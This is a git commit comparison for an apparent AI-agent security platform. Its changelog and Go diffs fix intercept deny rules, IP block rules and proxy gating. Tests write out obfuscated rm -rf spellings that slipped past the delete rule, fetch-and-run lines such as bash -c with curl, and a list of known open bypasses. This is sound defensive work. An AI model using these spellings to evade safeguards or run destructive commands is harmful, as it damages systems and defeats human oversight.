Compare commits

..
Author SHA1 Message Date
BaaRai 49b9421ed8 Gate the custom HTTP tool's own proxy
With the target gate on, only the tool URL was checked and the proxy in the
tool's proxy field was dialled without a check, so an approved target could
be fetched through any host and port. Read the proxy as a target, as a proxy
named on a Bash command line is: the call waits for its approval, the
request records the proxy without credentials, and the proxy is dialled
through the pinned dialer. The recording and global proxies, required mode
and the gate-off paths are unchanged.
2026-12-04 01:06:32 +01:00
BaaRai 3286e2009c Merge pull request #955 from BaaRai/fix/rm-rule-backslash
fix(intercept): match text deny rules on Bash words as the shell decodes them
2026-12-04 01:06:23 +01:00
BaaRai d92a9e51e2 Match text deny rules on Bash words as the shell decodes them
Regex and string intercept rules were matched on the raw tool input,
but Bash removes quotes and backslashes and decodes $'...' before it
runs a command: r\m -rf, r''m -rf, rm -r''f, rm -R -$'f' and a
backslash-newline inside a word all ran rm -rf while the built-in
recursive-force-delete rule did not match, and so did rm -rf on the
line after another command, because the JSON escape of the newline
glued an "n" to the command name.

A deny or ask rule on a Bash call now also meets the command decoded
with the argv word decoder, the simple commands joined by "; ". Allow
rules are still matched on the text as written. The word decoder now
decodes ANSI-C strings instead of treating them as opaque, which also
lets argv deny and ask rules meet $'nmap' and bash -c $'nmap x'.
2026-12-04 00:43:02 +01:00
BaaRai dcffc35233 Merge pull request #954 from BaaRai/fix/asset-block-ipv6-forms
fix(db): match fuzzy_ip asset rules on canonical IP addresses
2026-12-04 00:42:50 +01:00
BaaRai 44913c1c63 Match fuzzy_ip asset rules on canonical IP addresses
A fuzzy_ip rule compared the raw strings, so a block rule "::1" let
insert_assets register "0:0:0:0:0:0:0:1" or "::0001", and a rule
written expanded missed the compressed address. Match each candidate
as written and in its canonical form, and canonicalize a pattern that
is a whole address; a partial pattern keeps its substring meaning.

cidr rules now also match a zone-qualified address, and a
zone-qualified IPv6 URL host is classified as an IP in insert_assets
and for stored assets, so exact_ip, fuzzy_ip and cidr rules see it.
2026-12-03 23:25:01 +01:00
29 changed files with 730 additions and 409 deletions
+3 -1
View File
@@ -6,7 +6,9 @@ All notable changes to this project are documented in this file. The format is b
### Security
- **Saved LLM profiles and run-time completions go through the model URL guard.** The connection test refused a `base_url` or proxy on a loopback, private or instance-metadata address, but saving a profile accepted it, and every completion of a task, chat or Agent bound to that profile was sent there with the profile's stored API key. Saving a profile (`POST /api/llm/profiles`) and the legacy `POST /api/llm` now refuse what the connection test refuses, and every completion provider the server builds validates the proxy and each request URL before sending, checks every connection on the address it dials (so a name that later resolves to a refused address is still refused), validates redirects and keeps them on the configured origin. The existing allowances are unchanged: an exact `host:port` listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` (for example Ollama or vLLM on the host or the Docker network) is accepted at save and at run time, and an Ollama profile on the built-in default `http://127.0.0.1:11434/v1` (an empty base URL) keeps working without it. Behaviour change: a stored profile, or an `ARTEX_LLM_*` environment config, whose endpoint or proxy points at a loopback, LAN or Docker-network address not listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` stops working (each request fails with the guard's refusal) until its `host:port` is added there; a SOCKS5 proxy on a profile is refused, as the connection test already refused it; and a profile host that does not resolve cannot be saved.
- **A custom HTTP tool's own proxy goes through the target gate.** With the gate on, only the tool URL was checked: the proxy in the tool's `proxy` field was dialled without any check, so a tool whose target was approved could send its request to any host and port, loopback and private addresses included, through a proxy nobody approved. With the gate on, the proxy's host and port are now a target like the URL, as a proxy named on a Bash command line is: the call waits for an approval or is refused, the approval request shows the proxy without its credentials, and the connection to the proxy goes through the gate's dialer. That connection is checked and dialled as a direct hop: the approval pins the addresses it resolved rather than the name alone, so a proxy name that later answers another address is refused instead of being dialled unpinned. The recording and global proxies (`use_recording_proxy`) are unchanged. `ARTEX_SANDBOX=required` is unchanged: the sandbox egress policy already checks the proxy connection. With the gate off (no task scope, a task with the gate off, or the custom tool test endpoint) the proxy is not checked, as before, and neither is the tool URL, which can already name a loopback or private address in that mode. Behaviour change: with the gate on, a tool that uses its own proxy now raises an approval request for the proxy host and port (or is refused when none is granted) until the proxy is approved for the task.
- **Text deny and ask rules see a Bash command as the shell decodes it.** Regex and string intercept rules on `tool_input` were matched on the raw text, but Bash removes quotes and backslashes and decodes `$'...'` before it runs a command, so `r\m -rf ./x`, `r''m -rf`, `"r"m -rf`, `/bin/r\m -rf`, `rm -r''f`, `rm -R -$'f'` or a backslash-newline inside a word ran `rm -rf` while the built-in recursive-force-delete rule did not match; so did `rm -rf ./x` on the line after another command, since the input encodes the newline as `\n` and its `n` hid the word boundary. A deny or ask rule on a Bash call now also meets the command decoded with the word decoder argv rules use: the simple commands joined by `; `, every word with its quotes, backslash escapes and line continuations removed, a word with an expansion kept as written. This covers every built-in regex rule and operator deny and ask rules; allow rules are still matched on the text as written only. The word decoder now also decodes ANSI-C strings (`$'r\x6d'`), so argv deny and ask rules meet `$'nmap'` and `bash -c $'nmap x'` too.
- **`fuzzy_ip` asset rules and the URL host check match every spelling of an IP address.** `fuzzy_ip` compared the raw strings, so a block rule `::1` let `insert_assets` register `0:0:0:0:0:0:0:1` or `::0001`, and a rule written expanded missed the compressed form. The rule is now also matched against the canonical form of each address (zeros compressed, lower case, IPv4-mapped addresses unmapped, zone dropped), and a pattern that is a whole address is canonicalized too; a partial pattern such as `10.0.` keeps its substring meaning. `cidr` rules now match a zone-qualified address (`fe80::1%eth0`), and a zone-qualified IPv6 URL host (`http://[fe80::1%25eth0]/`) is classified as an IP instead of a domain, so `exact_ip`, `fuzzy_ip` and `cidr` rules see it, in `insert_assets` and for stored assets.
- **The always-allow denylist refuses `sqlmap`, `sqlite3` and `nmap`.** An argv allow rule covers every flag, and each of these programs has a flag or script hook that runs code chosen by the caller: `sqlmap --eval`, `sqlite3 .shell` and `nmap --script` with a Lua NSE file. After an operator clicked "always allow" on a harmless call, later calls of the same program matched the rule and skipped the fallback judge, so those flags ran arbitrary code. The three names join the code-owned denylist; `sqlite3` is stored as `sqlite` because `argvProgramName` strips the version suffix, and `sqlmap.py`/`sqlmapapi.py` reduce to their bare names through the same extension stripping. Allow rules already stored for these programs stop matching because the denylist is checked again at match time: their calls go back to the judge or to an ask rule, and the rows stay in the rules table.
- **HTTP custom tools bind stored headers and body to one origin.** A tool saved with a masked secret kept it while the literal url template stayed the same, so a template with a parameterized host (`https://{host}/collect`) could send the stored `X-API-Key` and body to an attacker-chosen host. A redirect from the configured host could also replay them to another origin: Go copies custom headers, and 307/308 replay the body. A secret-bearing HTTP tool now needs a fixed scheme, host and port in its url template, the rendered url must stay on that origin, and a redirect to another origin is refused; an edit that keeps a masked value may not add or change the proxy either (clearing it is allowed, the request then goes to the fixed origin). Tools without stored headers or body are unchanged. Every non-empty header value and body counts as stored, so a saved tool with a parameterized url and a constant header (`Content-Type`) or a body template is now refused at save and at run, and a secret-bearing tool whose API redirects to another host, port or scheme (apex to `www`, `http` to `https`, a CDN) now fails on that redirect.
- **Panel-side asset enrichment obeys the sandbox egress policy.** `insert_assets` starts an HTTP probe in the panel process, and the probe dialed through the recording proxy whenever the target gate was off, with no destination check: a worker could submit a service URL for loopback, RFC1918 or the cloud metadata address and read the status, length and title with `list_assets`, or the full body through the traffic store. While `ARTEX_SANDBOX=required`, the probe now uses the task's `sandbox.EgressPolicy` for the URL, every redirect and every connection, resolves and pins the address itself, then hands that address to the target gate's pinned dialer as WebFetch and the http tool do (a probe without a target scope, or one a gated scope does not cover, still dials nothing), and uses neither the recording nor the environment proxy. A task without an approved scope probes nothing, as in the rest of the sandbox.
+58
View File
@@ -496,3 +496,61 @@ func TestInsertAssetsRefusesWhenInterceptRulesUnavailable(t *testing.T) {
}
}
}
// TestAssetInterceptCandidatesIPv6URLHost: a URL host that is an IPv6 literal
// in any spelling, zone-qualified or not, is an IP candidate, so exact_ip,
// fuzzy_ip and cidr rules see it.
func TestAssetInterceptCandidatesIPv6URLHost(t *testing.T) {
for _, u := range []string{"http://[fe80::1%25eth0]:8080/x", "http://[FE80:0:0:0:0:0:0:1]/"} {
_, ips, _ := assetInterceptCandidates(assetInputItem{Type: "service", URL: u})
for _, r := range []db.AssetInterceptRule{
{Kind: "exact_ip", Pattern: "fe80::1", Enabled: true},
{Kind: "fuzzy_ip", Pattern: "fe80::1", Enabled: true},
{Kind: "cidr", Pattern: "fe80::/10", Enabled: true},
} {
if d := db.EvaluateAssetGate([]db.AssetInterceptRule{r}, nil, nil, ips, nil); d.Allowed {
t.Fatalf("URL %s: %s rule %s did not block, ips=%v", u, r.Kind, r.Pattern, ips)
}
}
}
}
// TestInsertAssetsFuzzyIPRuleBlocksIPv6Spellings: a fuzzy_ip block rule holds
// for every spelling of the address it names, through the insert_assets
// handler, both for an ip asset and for a URL host.
func TestInsertAssetsFuzzyIPRuleBlocksIPv6Spellings(t *testing.T) {
d := testDB(t)
defer d.Close()
rule, err := d.CreateAssetInterceptRule("fuzzy_ip", "2001:db8:5e::1", "ipv6 spelling test", true)
if err != nil {
t.Fatal(err)
}
defer d.DeleteAssetInterceptRule(rule.ID)
defer d.Exec(`DELETE FROM assets WHERE ip ILIKE '2001:%db8:%5e:%' OR url ILIKE 'http://[2001:%db8:%5e:%'`)
ts := NewToolSet(nil, "")
ts.SetAssetStore(d.Assets(), d.Companies())
items := []any{
map[string]any{"type": "ip", "ip": "2001:db8:5e::1"},
map[string]any{"type": "ip", "ip": "2001:db8:5e:0:0:0:0:1"},
map[string]any{"type": "ip", "ip": "2001:0db8:005e:0000:0000:0000:0000:0001"},
map[string]any{"type": "ip", "ip": "2001:DB8:5E::0001"},
map[string]any{"type": "service", "url": "http://[2001:db8:5e:0::1]:8080/"},
map[string]any{"type": "service", "url": "http://[2001:db8:5e:0:0:0:0:1%25eth0]/"},
}
out := callInsertAssets(t, ts, map[string]any{"assets": items})
if results, _ := out["results"].([]any); len(results) != 0 {
t.Fatalf("results=%v, want every spelling blocked", results)
}
errs, _ := out["errors"].([]any)
if len(errs) != len(items) {
t.Fatalf("errors=%v, want one per item", errs)
}
for _, e := range errs {
entry, _ := e.(map[string]any)
if msg, _ := entry["error"].(string); !strings.Contains(msg, "insertion forbidden") {
t.Fatalf("item %v not refused by the block rule: %q", entry["index"], msg)
}
}
}
+2 -2
View File
@@ -5,7 +5,6 @@ import (
"encoding/json"
"fmt"
"log/slog"
"net"
"net/url"
"strconv"
"strings"
@@ -34,7 +33,8 @@ func assetInterceptCandidates(item assetInputItem) (domains, ips, urls []string)
if item.URL != "" {
if u, err := url.Parse(item.URL); err == nil {
if h := u.Hostname(); h != "" {
if net.ParseIP(h) != nil {
// A zone-qualified IPv6 host is an IP too; net.ParseIP refuses it.
if _, ok := db.CanonicalInterceptIP(h); ok {
add(&ips, h)
} else {
add(&domains, h)
+17 -3
View File
@@ -279,9 +279,22 @@ func matchOne(r AssetInterceptRule, domains, ips, urls []string) (string, bool)
}
}
case "fuzzy_ip":
// A substring of the address as written and of its canonical form, so
// "0:0:0:0:0:0:0:1" and "::0001" meet a "::1" rule. A pattern that is a
// whole address is canonicalized too; a partial one ("10.0.") is not.
lp := strings.ToLower(p)
if c, ok := CanonicalInterceptIP(p); ok {
lp = c
}
for _, ip := range ips {
if ip != "" && strings.Contains(strings.ToLower(strings.TrimSpace(ip)), lp) {
raw := strings.ToLower(strings.TrimSpace(ip))
if raw == "" {
continue
}
if strings.Contains(raw, lp) {
return ip, true
}
if c, ok := CanonicalInterceptIP(raw); ok && strings.Contains(c, lp) {
return ip, true
}
}
@@ -298,7 +311,8 @@ func matchOne(r AssetInterceptRule, domains, ips, urls []string) (string, bool)
return "", false
}
for _, ip := range ips {
if pip := net.ParseIP(strings.TrimSpace(ip)); pip != nil && ipnet.Contains(pip) {
// Canonical first: net.ParseIP refuses a zone-qualified address.
if c, ok := CanonicalInterceptIP(ip); ok && ipnet.Contains(net.ParseIP(c)) {
return ip, true
}
}
@@ -340,7 +354,7 @@ func (a *Asset) interceptCandidates() (domains, ips, urls []string) {
if a.URL != "" {
if u, err := url.Parse(a.URL); err == nil {
if h := u.Hostname(); h != "" {
if net.ParseIP(h) != nil {
if _, ok := CanonicalInterceptIP(h); ok {
add(&ips, h)
} else {
add(&domains, h)
+31
View File
@@ -71,10 +71,30 @@ func TestMatchAssetInterceptRules(t *testing.T) {
nil, []string{"fe80::1"}, nil, true, "fe80::1"},
{"fuzzy IP prefix hit", []AssetInterceptRule{rule("fuzzy_ip", "203.0.113.", true)},
nil, []string{"203.0.113.99"}, nil, true, "203.0.113.99"},
// Another spelling of the same address must not slip past a fuzzy rule,
// whichever side carries it.
{"fuzzy IP fully expanded IPv6 target", []AssetInterceptRule{rule("fuzzy_ip", "::1", true)},
nil, []string{"0:0:0:0:0:0:0:1"}, nil, true, "0:0:0:0:0:0:0:1"},
{"fuzzy IP zero-padded IPv6 target", []AssetInterceptRule{rule("fuzzy_ip", "::1", true)},
nil, []string{"::0001"}, nil, true, "::0001"},
{"fuzzy IP padded uppercase IPv6 target", []AssetInterceptRule{rule("fuzzy_ip", "2001:db8::", true)},
nil, []string{"2001:0DB8:0000:0000:0000:0000:0000:0005"}, nil, true, "2001:0DB8:0000:0000:0000:0000:0000:0005"},
{"fuzzy IP fully expanded IPv6 rule", []AssetInterceptRule{rule("fuzzy_ip", "0:0:0:0:0:0:0:1", true)},
nil, []string{"::1"}, nil, true, "::1"},
{"fuzzy IP mapped IPv4 target", []AssetInterceptRule{rule("fuzzy_ip", "203.0.113.5", true)},
nil, []string{"::ffff:cb00:7105"}, nil, true, "::ffff:cb00:7105"},
{"fuzzy IP zone-qualified target", []AssetInterceptRule{rule("fuzzy_ip", "fe80::1", true)},
nil, []string{"FE80:0:0:0:0:0:0:1%eth0"}, nil, true, "FE80:0:0:0:0:0:0:1%eth0"},
{"fuzzy IP still misses another address", []AssetInterceptRule{rule("fuzzy_ip", "::1", true)},
nil, []string{"0:0:0:0:0:0:0:2"}, nil, false, ""},
{"fuzzy IP matches a range as written", []AssetInterceptRule{rule("fuzzy_ip", "10.0.", true)},
nil, []string{"10.0.0.0/8"}, nil, true, "10.0.0.0/8"},
{"CIDR hit", []AssetInterceptRule{rule("cidr", "192.168.0.0/16", true)},
nil, []string{"192.168.5.20"}, nil, true, "192.168.5.20"},
{"CIDR no hit", []AssetInterceptRule{rule("cidr", "192.168.0.0/16", true)},
nil, []string{"10.0.0.1"}, nil, false, ""},
{"CIDR zone-qualified target", []AssetInterceptRule{rule("cidr", "fe80::/10", true)},
nil, []string{"fe80::1%eth0"}, nil, true, "fe80::1%eth0"},
{"exact URL hit", []AssetInterceptRule{rule("exact_url", "https://a.gov.cn/login", true)},
nil, nil, []string{"https://a.gov.cn/login"}, true, "https://a.gov.cn/login"},
{"fuzzy URL hits path", []AssetInterceptRule{rule("fuzzy_url", "/admin", true)},
@@ -184,4 +204,15 @@ func TestAssetInterceptCandidates(t *testing.T) {
if r, _, ok := MatchAssetInterceptRules([]AssetInterceptRule{rule("cidr", "10.0.0.0/8", true)}, nil, ips, nil); !ok {
t.Fatalf("an IP in a URL should be hit by CIDR, ips=%v rule=%+v", ips, r)
}
// A zone-qualified or expanded IPv6 URL host is an IP too, not a domain.
for _, u := range []string{"http://[fe80::1%25eth0]:8080/x", "http://[FE80:0:0:0:0:0:0:1]/"} {
c := &Asset{Type: "service", URL: u}
_, ips, _ := c.interceptCandidates()
for _, r := range []AssetInterceptRule{rule("exact_ip", "fe80::1", true), rule("fuzzy_ip", "fe80::1", true), rule("cidr", "fe80::/10", true)} {
if _, _, ok := MatchAssetInterceptRules([]AssetInterceptRule{r}, nil, ips, nil); !ok {
t.Fatalf("URL %s: %s rule %s missed, ips=%v", u, r.Kind, r.Pattern, ips)
}
}
}
}
+50
View File
@@ -180,6 +180,56 @@ func TestTargetOnlyGuardAppliesBuiltinDenyRules(t *testing.T) {
}
}
// The seeded recursive-force-delete rule holds for every shell spelling of the
// command: Bash removes quotes, backslashes and line continuations and decodes
// $'...' before it runs rm, so the hook decides on the same words. Both the
// worker guard and the target-only guard read the rules from the database.
func TestBuiltinRecursiveDeleteRuleDecodesShellWords(t *testing.T) {
dsn, _, err := db.DSN()
if err != nil {
db.SkipPGUnavailable(t, err)
}
d, err := db.Open(dsn)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { d.Close() })
const ruleMsg = "Recursive force delete is forbidden"
denied := []string{
`rm -rf ./x`,
`r\m -rf ./x`,
`r''m -rf ./x`,
`"r"m -rf ./x`,
`/bin/r\m -rf ./x`,
`$'r\x6d' -rf ./x`,
`rm -r''f ./x`,
`rm $'-rf' ./x`,
`rm -r$'f' ./x`,
`rm -R -$'f' ./x`,
`command r\m --recursive ./x`,
"r\\\nm -rf ./x",
"rm -r \\\n -f ./x",
"cd ./w\nr\\m -rf ./x",
"true\nrm -rf ./x",
}
for name, g := range map[string]*Guard{
"worker guard": NewWithInterceptor(intercept.New(d)),
"target-only guard": NewTargetOnly(intercept.New(d)),
} {
for _, cmd := range denied {
input, _ := json.Marshal(map[string]string{"command": cmd})
if block, msg := pre(g, context.Background(), "Bash", string(input)); !block || !strings.Contains(msg, ruleMsg) {
t.Errorf("%s: %q block=%v msg=%q, want the recursive-force-delete rule", name, cmd, block, msg)
}
}
input, _ := json.Marshal(map[string]string{"command": "rm -r ./x"})
if block, msg := pre(g, context.Background(), "Bash", string(input)); block {
t.Errorf("%s: rm -r without force was blocked: %s", name, msg)
}
}
}
// A deny rule with an oversized message reaches the model capped, with the
// platform framing and the guidance intact.
func TestDenyRuleReasonIsCapped(t *testing.T) {
+1 -1
View File
@@ -78,10 +78,10 @@ func TestHardeningInterceptRules(t *testing.T) {
{"closed: git -c option", `{"command":"git -c protocol.ext.allow=always clone https://github.com/a/b"}`, true, "ask"},
{"closed: bash -c $(curl)", `{"command":"bash -c \"$(curl -s https://e/x.sh)\""}`, true, "ask"},
{"closed: curl | tar", `{"command":"curl -s https://e/x.tgz | tar xzf -"}`, true, "ask"},
{"closed: JSON-escaped whitespace", `{"command":"pip\tinstall requests"}`, true, "ask"},
// Documented OPEN bypasses: no prompt fires (the skill still binds the agent).
{"open: download host not listed", `{"command":"curl -s https://files.example.com/tool.py -o t.py"}`, false, ""},
{"open: JSON-escaped whitespace", `{"command":"pip\tinstall requests"}`, false, ""},
{"open: base64 split from run", `{"command":"base64 -d blob.b64 > s.sh"}`, false, ""},
// Documented false positive: harmless command trips the net.
+138 -1
View File
@@ -1,8 +1,10 @@
package intercept
import (
"bytes"
"encoding/json"
"path"
"strconv"
"strings"
"mvdan.cc/sh/v3/syntax"
@@ -51,6 +53,68 @@ func argvCompoundMatches(tokens []string, toolName string, input []byte) bool {
return bashCommandMatchesArgv(tokens, in.Command, 0)
}
// bashDecodedInput returns the input of a Bash call with its command replaced
// by the commands the shell runs, joined by "; ", each word decoded as callWordOf
// decodes it (backslash escapes, line continuations, single and double quotes,
// $'...'), so a text rule written for "rm -rf" also meets r\m -rf. A word
// that holds an expansion is kept as written. ok is false for another tool, or
// when the command is empty or does not parse.
func bashDecodedInput(toolName string, input []byte) (string, bool) {
if toolName != "Bash" {
return "", false
}
var in map[string]json.RawMessage
if json.Unmarshal(input, &in) != nil {
return "", false
}
var command string
if json.Unmarshal(in["command"], &command) != nil || strings.TrimSpace(command) == "" {
return "", false
}
f, err := syntax.NewParser(syntax.Variant(syntax.LangBash)).Parse(strings.NewReader(command), "")
if err != nil {
return "", false
}
printer := syntax.NewPrinter()
var cmds []string
syntax.Walk(f, func(n syntax.Node) bool {
call, ok := n.(*syntax.CallExpr)
if !ok || len(call.Args) == 0 {
return true
}
words := make([]string, len(call.Args))
for i, w := range call.Args {
if cw := callWordOf(w); cw.Literal {
words[i] = cw.Value
continue
}
var sb strings.Builder
_ = printer.Print(&sb, w)
words[i] = sb.String()
}
cmds = append(cmds, strings.Join(words, " "))
return true
})
if len(cmds) == 0 {
return "", false
}
// "; " and not a newline: JSON writes a newline as \n, and its "n" would
// glue to the next word (no word boundary before "rm" in "\nrm"). No HTML
// escaping, so < > & read as they do in the input as written.
var buf bytes.Buffer
enc := json.NewEncoder(&buf)
enc.SetEscapeHTML(false)
if enc.Encode(strings.Join(cmds, "; ")) != nil {
return "", false
}
in["command"] = bytes.Clone(bytes.TrimSpace(buf.Bytes()))
buf.Reset()
if enc.Encode(in) != nil {
return "", false
}
return string(bytes.TrimSpace(buf.Bytes())), true
}
func bashCommandMatchesArgv(rule []string, command string, depth int) bool {
f, err := syntax.NewParser(syntax.Variant(syntax.LangBash)).Parse(strings.NewReader(command), "")
if err != nil {
@@ -190,8 +254,9 @@ func callWordOf(w *syntax.Word) callWord {
}
sb.WriteString(s)
case *syntax.SglQuoted:
// $'...' is fixed text too, once its escapes are decoded.
if p.Dollar {
literal = false
sb.WriteString(unescapeANSIC(p.Value))
continue
}
sb.WriteString(p.Value)
@@ -276,6 +341,78 @@ func unescapeDblQuotedLit(s string) string {
return sb.String()
}
// unescapeANSIC decodes the body of a $'...' string as Bash does: \a \b \e \E
// \f \n \r \t \v \\ \' \" \?, octal \nnn, \xHH, \uHHHH, \UHHHHHHHH and \cX.
// An unknown escape is kept as written, backslash included.
func unescapeANSIC(s string) string {
var sb strings.Builder
sb.Grow(len(s))
for i := 0; i < len(s); i++ {
if s[i] != '\\' || i+1 >= len(s) {
sb.WriteByte(s[i])
continue
}
i++
switch e := s[i]; e {
case 'a':
sb.WriteByte('\a')
case 'b':
sb.WriteByte('\b')
case 'e', 'E':
sb.WriteByte(0x1b)
case 'f':
sb.WriteByte('\f')
case 'n':
sb.WriteByte('\n')
case 'r':
sb.WriteByte('\r')
case 't':
sb.WriteByte('\t')
case 'v':
sb.WriteByte('\v')
case '\\', '\'', '"', '?':
sb.WriteByte(e)
case 'c':
if i+1 < len(s) {
i++
sb.WriteByte(s[i] & 0x1f)
} else {
sb.WriteString(`\c`)
}
case '0', '1', '2', '3', '4', '5', '6', '7':
j := i
for j < len(s) && j < i+3 && s[j] >= '0' && s[j] <= '7' {
j++
}
v, _ := strconv.ParseUint(s[i:j], 8, 16)
sb.WriteByte(byte(v))
i = j - 1
case 'x', 'u', 'U':
digits := map[byte]int{'x': 2, 'u': 4, 'U': 8}[e]
j := i + 1
for j < len(s) && j <= i+digits && strings.IndexByte("0123456789abcdefABCDEF", s[j]) >= 0 {
j++
}
if j == i+1 {
sb.WriteByte('\\')
sb.WriteByte(e)
continue
}
v, _ := strconv.ParseUint(s[i+1:j], 16, 32)
if e == 'x' {
sb.WriteByte(byte(v))
} else {
sb.WriteRune(rune(v))
}
i = j - 1
default:
sb.WriteByte('\\')
sb.WriteByte(e)
}
}
return sb.String()
}
func hasAssignPrefix(s string) bool {
eq := strings.IndexByte(s, '=')
if eq <= 0 {
+98
View File
@@ -289,3 +289,101 @@ func TestArgvPriorityPreservedWithCompoundDeny(t *testing.T) {
t.Fatalf("compound whois: got (%+v, %v), want deny rule 2", dec, ok)
}
}
// An ANSI-C string is fixed text: $'nmap' and $'\x6emap' run nmap.
func TestArgvDenyDecodesANSICQuoting(t *testing.T) {
for _, cmd := range []string{`$'nmap' -sV x`, `$'\x6emap' -sV x`, `$'\156map' -sV x`, `n$'\u006d'ap x`, `bash -c $'nmap x'`} {
if _, ok := matchSingleArgvRule("deny", `["nmap"]`, "Bash", bashInput(cmd)); !ok {
t.Errorf("deny nmap missed %q", cmd)
}
}
if _, ok := matchSingleArgvRule("deny", `["nmap"]`, "Bash", bashInput(`$'nmapx' x`)); ok {
t.Error(`deny nmap matched $'nmapx'`)
}
}
func TestUnescapeANSIC(t *testing.T) {
for in, want := range map[string]string{
`rm`: "rm",
`r\x6d`: "rm",
`r\155`: "rm",
`r\u006D`: "rm",
`r\U0000006d`: "rm",
`-r\x66`: "-rf",
`a\tb\n`: "a\tb\n",
`\'\"\\\?`: `'"\?`,
`\e\E`: "\x1b\x1b",
`\cA`: "\x01",
`\q\x`: `\q\x`,
} {
if got := unescapeANSIC(in); got != want {
t.Errorf("unescapeANSIC(%q) = %q, want %q", in, got, want)
}
}
}
// A text deny or ask rule on a Bash command also meets the command as the
// shell decodes it: quotes, backslashes, ANSI-C strings and line
// continuations removed, each command on its own line.
func TestTextRulesMatchShellDecodedCommand(t *testing.T) {
const rmrf = `(?i)\brm\b.{0,80}(?:-[a-z]*r[a-z]*f|-[a-z]*r[a-z]*\s+-+[a-z]*f)`
cmds := []string{
`rm -rf ./x`,
`r\m -rf ./x`,
`\r\m -rf ./x`,
`r''m -rf ./x`,
`"r"m -rf ./x`,
`'rm' -rf ./x`,
`/bin/r\m -rf ./x`,
`$'rm' -rf ./x`,
`$'r\x6d' -rf ./x`,
`rm -r''f ./x`,
`rm -r"f" ./x`,
`rm $'-rf' ./x`,
`rm -r$'f' ./x`,
`rm -R -$'f' ./x`,
`command r\m -rf ./x`,
"r\\\nm -rf ./x",
"rm -r\\\nf ./x",
"rm -r \\\n -f ./x",
"cd ./w\nr''m -rf ./x",
"true\nrm -rf ./x",
"echo $(r\\m -rf ./x)",
}
stringCmds := []string{`r\m -rf ./x`, `r''m -rf ./x`, `"r"m -rf ./x`, `rm -r''f ./x`, `rm -r$'f' ./x`}
for _, action := range []string{"deny", "ask"} {
for _, typ := range []string{"regex", "string"} {
pattern, hits := rmrf, cmds
if typ == "string" {
pattern, hits = "rm -rf", stringCmds
}
ic := New(nil)
ic.SetRulesForTest([]db.InterceptRule{{ID: 1, Name: "rm", Enabled: true, Priority: 100,
MatchTarget: "tool_input", MatchType: typ, Pattern: pattern, Action: action}})
for _, cmd := range hits {
if _, ok := ic.Match("Bash", bashInput(cmd)); !ok {
t.Errorf("%s %s rule missed %q", action, typ, cmd)
}
}
for _, cmd := range []string{`rm -r ./x`, `echo r\m`, `ls -rf`} {
if _, ok := ic.Match("Bash", bashInput(cmd)); ok {
t.Errorf("%s %s rule matched %q", action, typ, cmd)
}
}
}
}
// An allow rule is matched on the text as written only.
ic := New(nil)
ic.SetRulesForTest([]db.InterceptRule{{ID: 1, Name: "allow rm", Enabled: true, Priority: 100,
MatchTarget: "tool_input", MatchType: "regex", Pattern: rmrf, Action: "allow"}})
if _, ok := ic.Match("Bash", bashInput(`r\m -rf ./x`)); ok {
t.Error(`allow rule matched the decoded form of r\m -rf`)
}
// Other tools are matched as written.
ic.SetRulesForTest([]db.InterceptRule{{ID: 1, Name: "deny rm", Enabled: true, Priority: 100,
MatchTarget: "tool_input", MatchType: "regex", Pattern: rmrf, Action: "deny"}})
if _, ok := ic.Match("Write", []byte(`{"command":"r\\m -rf ./x"}`)); ok {
t.Error("a non-Bash tool input was shell-decoded")
}
}
+21
View File
@@ -0,0 +1,21 @@
package intercept
import "context"
// directHopKey marks a check or a connection the platform opens itself to a
// named hop. A custom HTTP tool's own proxy is such a hop: the tool dials the
// proxy directly, and the proxy, not ARTEX, connects to the target. Pins for it
// bind the addresses the decision compared, never the name alone.
type directHopKey struct{}
// WithDirectHop marks ctx as a direct connection to the hop being checked or
// dialled: the target gate does not treat its pins as name-only.
func WithDirectHop(ctx context.Context) context.Context {
return context.WithValue(ctx, directHopKey{}, true)
}
// DirectHop reports whether ctx was marked by WithDirectHop.
func DirectHop(ctx context.Context) bool {
v, _ := ctx.Value(directHopKey{}).(bool)
return v
}
+16
View File
@@ -834,6 +834,22 @@ func ruleMatches(r compiledRule, toolName string, input []byte) bool {
default:
return false
}
if textRuleMatches(r, subject) {
return true
}
// Bash runs a command only after it removes quotes and backslashes and
// decodes $'...', so r\m -rf runs rm -rf. A deny or ask rule also meets
// the command decoded that way; an allow rule meets the text as written
// only, so decoding never widens what it allows.
if r.MatchTarget != "tool_input" || (r.Action != "deny" && r.Action != "ask") {
return false
}
decoded, ok := bashDecodedInput(toolName, input)
return ok && textRuleMatches(r, decoded)
}
// textRuleMatches matches a regex or string rule against subject.
func textRuleMatches(r compiledRule, subject string) bool {
if r.MatchType == "regex" {
return r.re != nil && r.re.MatchString(subject)
}
+11
View File
@@ -58,6 +58,17 @@ func PinnedDialer(toolName string, scoped bool) func(ctx context.Context, networ
}
}
// PinnedDialerDirect is PinnedDialer for a connection ARTEX opens itself to a
// named hop, such as a custom HTTP tool's own proxy. The hop is not behind the
// proxy: the dial is checked and opened on the addresses the decision compared,
// so a pin for its name cannot be satisfied by a name that later rebinds.
func PinnedDialerDirect(toolName string) func(ctx context.Context, network, addr string) (net.Conn, error) {
dial := PinnedDialer(toolName, true)
return func(ctx context.Context, network, addr string) (net.Conn, error) {
return dial(WithDirectHop(ctx), network, addr)
}
}
// GateOn reports whether ctx carries a target scope whose gate is on.
func GateOn(ctx context.Context) bool {
_, on := renderedScope(ctx)
+15 -10
View File
@@ -233,8 +233,11 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
// Behind a proxy the proxy chooses the address it connects to, so every pin
// is name-only for this call, whatever the pin row says: the proxy can be
// turned on after a pin was approved. The recording proxy, the global egress
// proxy and a custom tool's own proxy all count.
nameOnly := (proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool))
// proxy and a custom tool's own proxy all count. A direct hop (WithDirectHop)
// is not behind them: the tool dials it itself, so its pins bind the
// addresses the decision compared.
direct := DirectHop(c.ctx)
nameOnly := !direct && ((proxied != nil && proxied()) || (toolProxy != nil && toolProxy(c.tool)))
var unpinned []TargetRequest
var uses []func()
@@ -280,7 +283,7 @@ func (c *targetCheck) run(targets []Target) ([]TargetRequest, TargetResult) {
if err != nil {
return c.block(TargetGateUnavailable, "gate_unavailable", ct, "the pins could not be read: "+err.Error())
}
pin := coveringPin(pins, ct.ips, nameOnly)
pin := coveringPin(pins, ct.ips, nameOnly, direct)
if pin == nil && ct.Kind == TargetDomain && !c.fresh {
// A request is about to be raised: the addresses a human reads and
// pins are resolved now, never taken from the cache. A fresh run
